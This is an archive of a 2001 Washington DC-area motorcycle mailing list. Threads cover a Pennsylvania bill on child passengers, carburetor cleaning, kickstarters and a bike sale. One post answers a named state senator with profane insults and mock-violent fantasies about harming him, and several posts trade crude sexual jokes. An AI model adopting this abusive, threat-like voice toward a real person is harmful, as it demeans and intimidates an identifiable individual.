illegal for an motorcycle passenger to be under the age of 18. In PA, it would be legal to ride a bike at 16, but illegal to ride as a passenger at 17. It's been proposed, that this bill is part of an omnibus bill...NOT TRUE. Go read the bill, it takes 30 seconds, it's that short. Senate Bill 248 text: http://www.legis.state.pa.us/WU01/LI/BI/BT/2001/0/SB0248P0339.HTM To make matters even worse, you need to read the response from the Senator that is sponsoring the bill on why we need this "new law". His response is attached. Now we have the legislators trying to fix domestic problems with motorcycle laws. I hope you will be outraged as much as I am. Please tell this guy what you feel about his bill. Senator Richard Tilghman: rtilghman@XXXXXX (SB248 Sponsor) I have also attached a recent response made by the Senator regarding the bill. Thank you for your recent correspondence relative to Senate Bill 248. > > A divorced mother lives in my senatorial district. She told me that her > former husband was taking their seven year old daughter for rides on the > motorcycle against her wishes. This seems to me to be extremely > dangerous, > and I feel that the above bill will correct such a situation. > > I understand your concern and would like to work with all > interested parties > on this difficult problem. > > Senator Richard A. Tilghman James Copeland M.H.S 2000 VFR From dc-cycles-request Wed Feb 14 12:20:42 2001 Return-Path: Received: from wpo.aamc.org (wpo.aamc.org [143.220.4.36]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1EHKen15293 for ; Wed, 14 Feb 2001 12:20:41 -0500 (EST) Received: from AAMC-Message_Server by wpo.aamc.org with Novell_GroupWise; Wed, 14 Feb 2001 12:19:50 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.2.1 Date: Wed, 14 Feb 2001 12:19:35 -0500 From: "Onur Topac" To: Subject: Honda V30 For Sale Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1EHM8n15294 Hi Folks, I'm selling my trusty mount and have put an ad in @ the following url: Link for this ad: http://www.classifieds2000.com/cgi-cls/ad.exe?P1+C18+R193055 Feel free to contact me off-list for details. Onur Bethesda, MD '84 Magna V30 "Rocky" From dc-cycles-request Wed Feb 14 12:24:09 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EHO8n15313 for ; Wed, 14 Feb 2001 12:24:08 -0500 (EST) Received: from 66-44-86-100.s608.tnt1.lnhdc.md.dialup.rcn.com ([66.44.86.100] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14T5eu-0007hh-00 for dc-cycles@XXXXXX; Wed, 14 Feb 2001 12:24:05 -0500 Message-ID: <011101c096aa$f5602720$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <45CB5720CC54D311A2A70004ACE5255CA2F123@EXCHANGE> Subject: Re: This sounds suspiciously familiar... Date: Wed, 14 Feb 2001 12:23:58 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Isn't this the job of the judges at the Family Court? I for one am getting a little tired of disgruntled ex wives using the legislature to go after their biker ex-hubbies. What's next, can't take the kids on boat rides, plane rides, bowling, shooting, hunting, hiking, anything else the ex finds objectionable. Maybe these ex-husbands should sue for custody to get the kids away from the control freak mothers before the kids are scarred for life. Paul in DC ----- Original Message ----- From: Copeland, James > >[The Senator wrote:} > > A divorced mother lives in my senatorial district. She told me that her > > former husband was taking their seven year old daughter for rides on the > > motorcycle against her wishes. From dc-cycles-request Wed Feb 14 12:26:35 2001 Return-Path: Received: from web1202.mail.yahoo.com (web1202.mail.yahoo.com [128.11.23.138]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1EHQXn15336 for ; Wed, 14 Feb 2001 12:26:33 -0500 (EST) Received: (qmail 3190 invoked by uid 60001); 14 Feb 2001 17:26:29 -0000 Message-ID: <20010214172629.3189.qmail@web1202.mail.yahoo.com> Received: from [192.5.27.136] by web1202.mail.yahoo.com; Wed, 14 Feb 2001 09:26:29 PST Date: Wed, 14 Feb 2001 09:26:29 -0800 (PST) From: "E. Rittershausen" Reply-To: etrigan@XXXXXX Subject: Re: carb cleaning; was 76 Honda 360T To: DC Cycles In-Reply-To: <20010214165831.24850.qmail@web513.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ahem. Hello, my name is Todd, and I still have my carb-cleaning cherry, altho I completley rebuilt the engine of my CX-500. `course, that was in a basement and not a living room, so I suppose there are extenuating circumstances. The dif is I rebuilt the engine because I HAD to - the carbs were still well below that point. Todd --- Tom Gimer wrote: > you're don't still have your carb-cleaning cherry, do you > kirk? i'd be quite surprised that someone who fully breaks > down and reassembles his cycles in his living room is still > a virgin. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 14 13:02:44 2001 Return-Path: Received: from beta.nova.org (beta.nova.org [209.31.144.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EI2hn16002 for ; Wed, 14 Feb 2001 13:02:43 -0500 (EST) Received: from members.fcac.org (members.fcac.org [209.31.144.35]) by beta.nova.org (8.10.1/8.10.1) with ESMTP id f1EI2ZN16415 for ; Wed, 14 Feb 2001 13:02:35 -0500 (EST) Date: Wed, 14 Feb 2001 13:02:35 -0500 (EST) From: Kirk Roy X-Sender: kirk@XXXXXX To: DC-Cycles Mailing List Subject: Re: carb cleaning; was 76 Honda 360T In-Reply-To: <20010214165831.24850.qmail@web513.mail.yahoo.com> Message-ID: Organization: Northern Virginia Internet Access Cooperative MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 14 Feb 2001, Tom Gimer wrote: > > while this was an excellent how-to and intro on carb cleaning, i can't > help but feel the need to point out that kirk didn't probably didn't > need it. No, I didn't really need it although there were at least a couple things in there that I hadn't thought of (e.g., modifying the tube thingy on a can of aerosol carb cleaner). First impressions are lasting impressions though. Steve helped me get started in working on my own bikes several years ago. He's been a great help to me. I'll never reach his level (master mechanic) but I have learned a whole lot in the last 7-8 years... I could learn faster if I had access to more bikes to work on. Please send your donations (complete bikes only please). > i'd be quite surprised that someone who fully breaks down and > reassembles his cycles in his living room is still a virgin. That sounds impressive until you find out that I lacked the balls to ride the bike up the 5 steps to the porch and into the house... :) Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Wed Feb 14 14:02:49 2001 Return-Path: Received: from web514.mail.yahoo.com (web514.mail.yahoo.com [216.115.104.229]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1EJ2ln16934 for ; Wed, 14 Feb 2001 14:02:48 -0500 (EST) Message-ID: <20010214190245.26848.qmail@web514.mail.yahoo.com> Received: from [208.219.157.35] by web514.mail.yahoo.com; Wed, 14 Feb 2001 11:02:45 PST Date: Wed, 14 Feb 2001 11:02:45 -0800 (PST) From: Tom Gimer Subject: Re: carb cleaning; was 76 Honda 360T To: Kirk Roy , DC-Cycles Mailing List In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Kirk Roy wrote: > On Wed, 14 Feb 2001, Tom Gimer wrote: > > > > while this was an excellent how-to and intro on carb > > cleaning, i can't help but feel the need to point out > > that kirk didn't probably didn't need it. > > No, I didn't really need it although there were at least > a couple things in there that I hadn't thought of (e.g., > modifying the tube thingy on a can of aerosol carb > cleaner). First impressions are lasting impressions > though. Steve helped me get started in working on my own > bikes several years ago. He's been a great help to me. > I'll never reach his level (master mechanic) but I have > learned a whole lot in the last 7-8 years... > I could learn faster if I had access to more bikes to > work on. Please send your donations (complete bikes only > please). my point was to let steve know that he wasn't dealing with a newbie. apparently you have a history of milking him for mechanical help ... so my point was unnecessary ;) > > i'd be quite surprised that someone who fully breaks > > down and reassembles his cycles in his living room is > > still a virgin. > > That sounds impressive until you find out that I lacked > the balls to ride the bike up the 5 steps to the porch > and into the house... :) shame on you! rest assured, there WILL be a panty check the next time we get you out on a mofo ride. -- tg __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 14 14:06:03 2001 Return-Path: Received: from web511.mail.yahoo.com (web511.mail.yahoo.com [216.115.104.226]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1EJ61n17019 for ; Wed, 14 Feb 2001 14:06:01 -0500 (EST) Message-ID: <20010214190558.1959.qmail@web511.mail.yahoo.com> Received: from [208.219.157.35] by web511.mail.yahoo.com; Wed, 14 Feb 2001 11:05:58 PST Date: Wed, 14 Feb 2001 11:05:58 -0800 (PST) From: Tom Gimer Subject: Re: carb cleaning; was 76 Honda 360T To: etrigan@XXXXXX, DC Cycles In-Reply-To: <20010214172629.3189.qmail@web1202.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- "E. Rittershausen" wrote: > Ahem. Hello, my name is Todd, and I still have my > carb-cleaning cherry, altho I completley rebuilt the > engine of my CX-500. `course, that was in a basement and > not a living room, so I suppose there are extenuating > circumstances. well, i suggest you bring the magna into the kitchen this week so that i can help you with your hymen. i thought i smelled punanee in the house ;) > --- Tom Gimer wrote: > > i'd be quite surprised that someone who fully breaks > > down and reassembles his cycles in his living room is > > still a virgin. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 14 14:20:08 2001 Return-Path: Received: from web902.mail.yahoo.com (web902.mail.yahoo.com [128.11.23.77]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1EJK6n17236 for ; Wed, 14 Feb 2001 14:20:06 -0500 (EST) Received: (qmail 8472 invoked by uid 60001); 14 Feb 2001 19:20:03 -0000 Message-ID: <20010214192003.8471.qmail@web902.mail.yahoo.com> Received: from [204.227.255.9] by web902.mail.yahoo.com; Wed, 14 Feb 2001 11:20:03 PST Date: Wed, 14 Feb 2001 11:20:03 -0800 (PST) From: Justin Stefanon Subject: suspicious politicians, angry biker To: dcbike MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii [prudes beware: profanity below] > I hope you will be outraged as much as I am. Please > tell this guy what you > feel about his bill. How can I find a politically viable way to express how I feel about this bill and his reaction to"correspondence"? Let's try: > > Thank you for your recent correspondence relative to > Senate Bill 248. You must be glad it didn't blow up. > > > > A divorced mother lives in my senatorial district. How long have you been screwing her? > She told me that her > > former husband was taking their seven year old > daughter for rides on the > > motorcycle against her wishes. Whose wishes, the mother's? You idiot, the mother probably wishes her ex was dead. Can you write some worthless focking law to help her with that? >>This seems to me > to be extremely > > dangerous, Only to a worthless twit like yourself! > > and I feel that the above bill will correct such a > situation. I feel like flexing the leather of my shit-kickers in your nether regions. Both of our feelings are wrong.> > > > I understand your concern and would like to work > with all > > interested parties > > on this difficult problem. I would be perfectly willing to help you pull your skull out of your bunghole. I have liquid wrench(TM), a crowbar, and some rope. Let me know when is convenient for you, though may I suggest as soon aspossible. > > > > Senator Richard A. Tilghman I'm so glad I no longer live in PA, because it makes it easier to resist the temptation to stuff you in a bag and throw it in the Susquehanna, thereby saving your constituents the dollars it costs to feed yourfeeble-minded worthless ass. It would seem I was not cut out for politics. Maybe my brother will write to this shmuck in my stead. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 14 14:24:33 2001 Return-Path: Received: from dchqexs1.fsis.usda.gov (wsc.ag.gov.203.128.199.in-addr.arpa [199.128.203.12] (may be forged)) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EJOWn17246 for ; Wed, 14 Feb 2001 14:24:32 -0500 (EST) Received: by wsc.ag.gov.203.128.199.in-addr.arpa with Internet Mail Service (5.5.2653.19) id <15A81MQG>; Wed, 14 Feb 2001 14:24:14 -0500 Message-ID: <776B2ABC9364D411867B009027B69A2F01612D7D@DCHQCLEXHQ> From: "Custer, Carl" To: "'the.horkster@XXXXXX'" Cc: "'DCCycles'" Subject: Helmet Laws Article - stats can be twisted Date: Wed, 14 Feb 2001 14:25:48 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Dale Horstman queried, "I wonder what the fatality rate is for "slightly" overweight daily commuters" Hey! " and occasional LD-riders who always wear full protective cordura gear, " Hey, yer gittin personal "flip-up helmets, and ride dirty Concours motorcycles. ;)" Whew, that was close but I still ain't gonna wash the Sabre until after Easter. Carl in Bethesda :^) From dc-cycles-request Wed Feb 14 14:37:30 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EJbSn17481 for ; Wed, 14 Feb 2001 14:37:29 -0500 (EST) Received: from pmismtp03.wcomnet.com ([166.38.62.38]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8R00DR5IH8IG@XXXXXX> for dc-cycles@XXXXXX; Wed, 14 Feb 2001 19:36:44 +0000 (GMT) Received: from pmismtp03.wcomnet.com by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8R00201IGOE0@XXXXXX>; Wed, 14 Feb 2001 19:36:38 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8R0016AIG80B@XXXXXX>; Wed, 14 Feb 2001 19:36:09 +0000 (GMT) Date: Wed, 14 Feb 2001 14:36:04 -0500 From: Dale Horstman Subject: Re: Helmet Laws Article - stats can be twisted To: "Custer, Carl" Cc: "'DCCycles'" Message-id: <3A8ADE24.B63636E8@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <776B2ABC9364D411867B009027B69A2F01612D7D@DCHQCLEXHQ> "Custer, Carl" wrote: > > Whew, that was close but I still ain't gonna wash the Sabre until after > Easter. Sounds like a plan. :) -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Wed Feb 14 16:50:41 2001 Return-Path: Received: from mail.his.com (root@XXXXXX [209.67.207.13]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1ELodn19468 for ; Wed, 14 Feb 2001 16:50:39 -0500 (EST) Received: from harris (max2h-167.his.com [216.32.85.167]) by mail.his.com (8.9.3/8.9.3) with SMTP id QAA00483 for ; Wed, 14 Feb 2001 16:50:34 -0500 (EST) Message-Id: <3.0.32.20010214165144.011538c8@his.com> X-Sender: harris@XXXXXX X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 14 Feb 2001 16:51:47 -0800 To: DC-Cycles Mailing List From: Stephen Harris Subject: Re: carb cleaning; was 76 Honda 360T Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 08:58 AM 2/14/01 -0800, Tom Gimer wrote: >while this was an excellent how-to and intro on carb >cleaning, i can't help but feel the need to point out that >kirk didn't probably didn't need it. > >you're don't still have your carb-cleaning cherry, do you >kirk? i'd be quite surprised that someone who fully breaks >down and reassembles his cycles in his living room is still >a virgin. > I figured someone who was, ahem, challanged, by the mechanics of a kick starter might benefit from some basic carb cleaning info...:-) Kirk is a nice guy, and like most nice people, wish him to benefit from the knowledge I have gain from squandering most of my adult life on motorcycles. I was going to send it off list, but at the last minute I sent it to the list so others could benefit as well. The original text, for those lurkers who used to be on Dale Coyner's Motorcyclist Online, was cut & pasted from a '94 message from me to Dan Sloss. A great example of recycling old e-mail. I guess the most important thing I have ever learned is no matter how much you know, you can still learn something new. But only if you are lucky enough to listen. Stephen Harris Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Wed Feb 14 17:49:31 2001 Return-Path: Received: from ravinc.com (mail.ravinc.com [216.181.133.51]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EMnTn20313 for ; Wed, 14 Feb 2001 17:49:30 -0500 (EST) Received: from roadrash [192.9.200.199] by ravinc.com [216.181.133.51] with SMTP (MDaemon.v3.0.3.R) for ; Wed, 14 Feb 2001 17:47:13 -0500 From: "Jay St. Peter" To: Cc: Subject: Re: carb cleaning; was 76 Honda 360T Date: Wed, 14 Feb 2001 17:47:33 -0500 Message-ID: <000a01c096d8$1f0de300$c7c809c0@roadrash> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-MDaemon-Deliver-To: dc-cycles@XXXXXX X-Return-Path: jay.stpeter@XXXXXX X-MDRcpt-To: dc-cycles@XXXXXX X-MDRemoteIP: 192.9.200.199 Stephen, I learned something from you carb cleaning diatribe and I do not have my carb-cleaning hymen. I now know why I have such a hard time getting the f-ing diaphram back in when reassembling. It'll be easier next time. To get the small passages, I used a piece of thin rubber tubing attached to the spray tube to create a seal over the passage way. Then when spraying it would force the cleaner into the opening. Your way would've taken less time than tracking down the small rubber tubing. Wish I could remember where I got it now ... I know it was off something that didn't really need that extra 1/2" of tubing :) Jay St. Peter From dc-cycles-request Wed Feb 14 18:08:08 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EN85n20625 for ; Wed, 14 Feb 2001 18:08:07 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f1EN9F013298; Wed, 14 Feb 2001 18:09:15 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: Dale Horstman Subject: Re: 76 Honda 360T Date: Wed, 14 Feb 2001 18:09:15 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain Cc: dc-cycles@XXXXXX References: <20010213221350.5464.qmail@theglobe.com> <3A8AA1CB.A5060348@home.com> In-Reply-To: <3A8AA1CB.A5060348@home.com> MIME-Version: 1.0 Message-Id: <0102141809150D.00979@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Wed, 14 Feb 2001, Dale Horstman wrote: > Well, I had a kicker on my old KZ1000 LTD. 1015cc inline 4. > It was great. You could nurse along a marginal battery for > an extra year or two. Usually fired off on the first > or second kick. > > The Connie is only 997 cc, it would be a snap... :) > Hmm, wonder if I can retrofit... Excuse me for being blunt, but for *you* this would be a snap. The kickstarter would laugh at someone like me for even thinking of jumping on it... it would then probably try throwing me into the far wall of my garage :) - Roach From dc-cycles-request Wed Feb 14 18:50:02 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1ENo0n21321 for ; Wed, 14 Feb 2001 18:50:01 -0500 (EST) Received: from patriot.net (pool181-13.patriot.net [209.249.181.13]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1ENnmA16458; Wed, 14 Feb 2001 18:49:48 -0500 Message-ID: <3A8B1850.EE628AD4@patriot.net> Date: Wed, 14 Feb 2001 18:44:16 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: roach@XXXXXX CC: Dale Horstman , dc-cycles@XXXXXX Subject: Re: 76 Honda 360T References: <20010213221350.5464.qmail@theglobe.com> <3A8AA1CB.A5060348@home.com> <0102141809150D.00979@www.mostlyharmless.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Brian Roach wrote: > Excuse me for being blunt, but for *you* this would be a snap. > > The kickstarter would laugh at someone like me for even thinking of jumping > on it... it would then probably try throwing me into the far wall of my > garage :) > > - Roach Long time ago they use to have a kick-start contest in Daytona, Hawgs of course. Most of the custom bikes had mod engines with a gazillion to one comp ratios. What fun! Last time I wuz there in the early 80s they had like six ambulances waiting outside with engines running.. "GO" *BANG* Aaarrggghhhhh.... *splat* (body hits floor several yards away form bike) Bill From dc-cycles-request Wed Feb 14 19:48:37 2001 Return-Path: Received: from web514.mail.yahoo.com (web514.mail.yahoo.com [216.115.104.229]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1F0mZn22285 for ; Wed, 14 Feb 2001 19:48:36 -0500 (EST) Message-ID: <20010215004829.15358.qmail@web514.mail.yahoo.com> Received: from [138.88.39.93] by web514.mail.yahoo.com; Wed, 14 Feb 2001 16:48:29 PST Date: Wed, 14 Feb 2001 16:48:29 -0800 (PST) From: Tom Gimer Subject: Re: carb cleaning; was 76 Honda 360T To: "Jay St. Peter" , harris@XXXXXX Cc: dc-cycles@XXXXXX In-Reply-To: <000a01c096d8$1f0de300$c7c809c0@roadrash> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- "Jay St. Peter" wrote: > Stephen, > I learned something from you carb cleaning diatribe and I > do not have my carb-cleaning hymen. whore! > I now know why I have such a hard time getting the f-ing > diaphram back in when reassembling. It'll be easier next > time. To get the small passages, I used a piece of thin > rubber tubing attached to the spray tube to create a seal > over the passage way. Then when spraying it would force > the cleaner into the opening. Your way would've taken > less time than tracking down the small rubber tubing. > Wish I could remember where I got it now ... I know it was > off something that didn't really need that extra 1/2" of > tubing :) i learned something too....although i have never had a tough time with the rubber gaskets when they got carb cleaner on them, i will remember that tip in the future. for now, i'm dealing with fuel injection problems after installing a new eprom. :( once again, my comment was an attempt to defend kirk rather than to offend stephen. this list needs more helpful instruction and he should be commended for providing it. -- tg __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Thu Feb 15 09:01:00 2001 Return-Path: Received: from ravinc.com (mail.ravinc.com [216.181.133.51]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1FE0un05174 for ; Thu, 15 Feb 2001 09:00:59 -0500 (EST) Received: from roadrash [192.9.200.199] by ravinc.com [216.181.133.51] with SMTP (MDaemon.v3.0.3.R) for ; Thu, 15 Feb 2001 08:59:17 -0500 From: "Jay St. Peter" To: "'Tom Gimer'" Cc: Subject: RE: carb cleaning; was 76 Honda 360T Date: Thu, 15 Feb 2001 08:59:39 -0500 Message-ID: <000001c09757$8a8ed7e0$c7c809c0@roadrash> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20010215004829.15358.qmail@web514.mail.yahoo.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-MDaemon-Deliver-To: dc-cycles@XXXXXX X-Return-Path: jay.stpeter@XXXXXX X-MDRcpt-To: dc-cycles@XXXXXX X-MDRemoteIP: 192.9.200.199 once again, my comment was an attempt to defend kirk rather than to offend stephen. this list needs more helpful instruction and he should be commended for providing it. -- tg Yeah, I know. I just wanted to say "hymen" :) From dc-cycles-request Thu Feb 15 13:45:29 2001 Return-Path: Received: from beta.nova.org (beta.nova.org [209.31.144.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1FIjRn09986 for ; Thu, 15 Feb 2001 13:45:28 -0500 (EST) Received: from members.fcac.org (members.fcac.org [209.31.144.35]) by beta.nova.org (8.10.1/8.10.1) with ESMTP id f1FIjNN24265 for ; Thu, 15 Feb 2001 13:45:24 -0500 (EST) Date: Thu, 15 Feb 2001 13:45:23 -0500 (EST) From: Kirk Roy X-Sender: kirk@XXXXXX To: DC-Cycles Mailing List Subject: Re: carb cleaning; was 76 Honda 360T In-Reply-To: <3.0.32.20010214165144.011538c8@his.com> Message-ID: Organization: Northern Virginia Internet Access Cooperative MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 14 Feb 2001, Stephen Harris wrote: > I figured someone who was, ahem, challanged, by the mechanics of a > kick starter might benefit from some basic carb cleaning info...:-) Uh, hey! It's true that I was confused about how the kickstarter would function while the motor wasn't turning over. At least I didn't clean the carbs only to discover that the motor was seized later on... :) THAT would be ignorant... Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Thu Feb 15 16:32:28 2001 Return-Path: Received: from web9702.mail.yahoo.com (web9702.mail.yahoo.com [216.136.129.138]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1FLWQn12691 for ; Thu, 15 Feb 2001 16:32:27 -0500 (EST) Message-ID: <20010215213224.26696.qmail@web9702.mail.yahoo.com> Received: from [66.44.70.76] by web9702.mail.yahoo.com; Thu, 15 Feb 2001 13:32:24 PST Date: Thu, 15 Feb 2001 13:32:24 -0800 (PST) From: Scratch Subject: Re: carb cleaning; was 76 Honda 360T To: dc-cycles@XXXXXX, kirk@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Oh yeah. It seems Daniel owes me a smart comment. Go ahead. I can take it. I guess a CB360T is one of those bikes where you can hold the clutch in and kick it, huh? My first bike was a CB350F, but that was so long ago that I can't remember if you could kick it with the clutch in. Next you'll probably tell me it has 12 volt electrics with negative ground, fer gawd's sake. Rich Kirk wrote... >Uh, hey! It's true that I was confused about how the >kickstarter would function while the motor wasn't >turning over. At least I didn't clean the carbs only >to discover that the motor was seized later on... :) >THAT would be ignorant... __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 16 10:46:38 2001 Return-Path: Received: from mongoose.slip.net (www2.sntccaidc.firstworld.net [216.127.92.130]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1GFkbn01037 for ; Fri, 16 Feb 2001 10:46:37 -0500 (EST) Received: from shell.slip.net ([207.171.193.17] helo=slip-3.slip.net) by mongoose.slip.net with smtp (Exim 3.13 #3) id 14Tn3n-0006RT-00 for dc-cycles@XXXXXX; Fri, 16 Feb 2001 07:44:39 -0800 Date: Fri, 16 Feb 2001 07:46:28 -0800 (PST) From: Hugh Caldwell To: dc-cycles@XXXXXX Subject: RE: carb cleaning; was 76 Honda 360T In-Reply-To: <000001c09757$8a8ed7e0$c7c809c0@roadrash> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 15 Feb 2001, Jay St. Peter wrote: > once again, my comment was an attempt to defend kirk rather > than to offend stephen. this list needs more helpful > instruction and he should be commended for providing it. > -- > tg > > Yeah, I know. I just wanted to say "hymen" :) I think it's a real shame the Misty Hymen didn't win the ESPN female olympic athelete award. ---------------------------------------------------------------- Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI ---------------------------------------------------------------- From dc-cycles-request Fri Feb 16 12:18:22 2001 Return-Path: Received: from ravinc.com (mail.ravinc.com [216.181.133.51]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1GHIKn02531 for ; Fri, 16 Feb 2001 12:18:21 -0500 (EST) Received: from roadrash [192.9.200.199] by ravinc.com [216.181.133.51] with SMTP (MDaemon.v3.0.3.R) for ; Fri, 16 Feb 2001 12:16:15 -0500 From: "Jay St. Peter" To: , Cc: Subject: was RE: carb cleaning; was 76 Honda 360T Date: Fri, 16 Feb 2001 12:16:40 -0500 Message-ID: <000201c0983c$3aebb740$c7c809c0@roadrash> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-MDaemon-Deliver-To: dc-cycles@XXXXXX X-Return-Path: jay.stpeter@XXXXXX X-MDRcpt-To: dc-cycles@XXXXXX X-MDRemoteIP: 192.9.200.199 Hugh A. Caldwell wrote: I think it's a real shame the Misty Hymen didn't win the ESPN female olympic athelete award. LOL, I agree. Since he brought it up. I offer TG my hopes that his upcoming nuptuals are blessed by Hymen. ...................you know ... the greek god of marriage. Jay St. Peter From dc-cycles-request Fri Feb 16 12:27:21 2001 Return-Path: Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1GHRKn02706 for ; Fri, 16 Feb 2001 12:27:21 -0500 (EST) Received: from 66-44-45-64.s318.tnt3.lnhdc.md.dialup.rcn.com ([66.44.45.64] helo=pawilson) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14Tof7-0001yn-00 ; Fri, 16 Feb 2001 12:27:18 -0500 Message-ID: <022501c0983d$c0739080$bb82fea9@pawilson> From: "Paul Wilson" To: Cc: "dc-cycles list" References: <96jltg+jk8h@eGroups.com> Subject: Re: [dccycles2] 'water proof' that isn't Date: Fri, 16 Feb 2001 12:26:54 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" 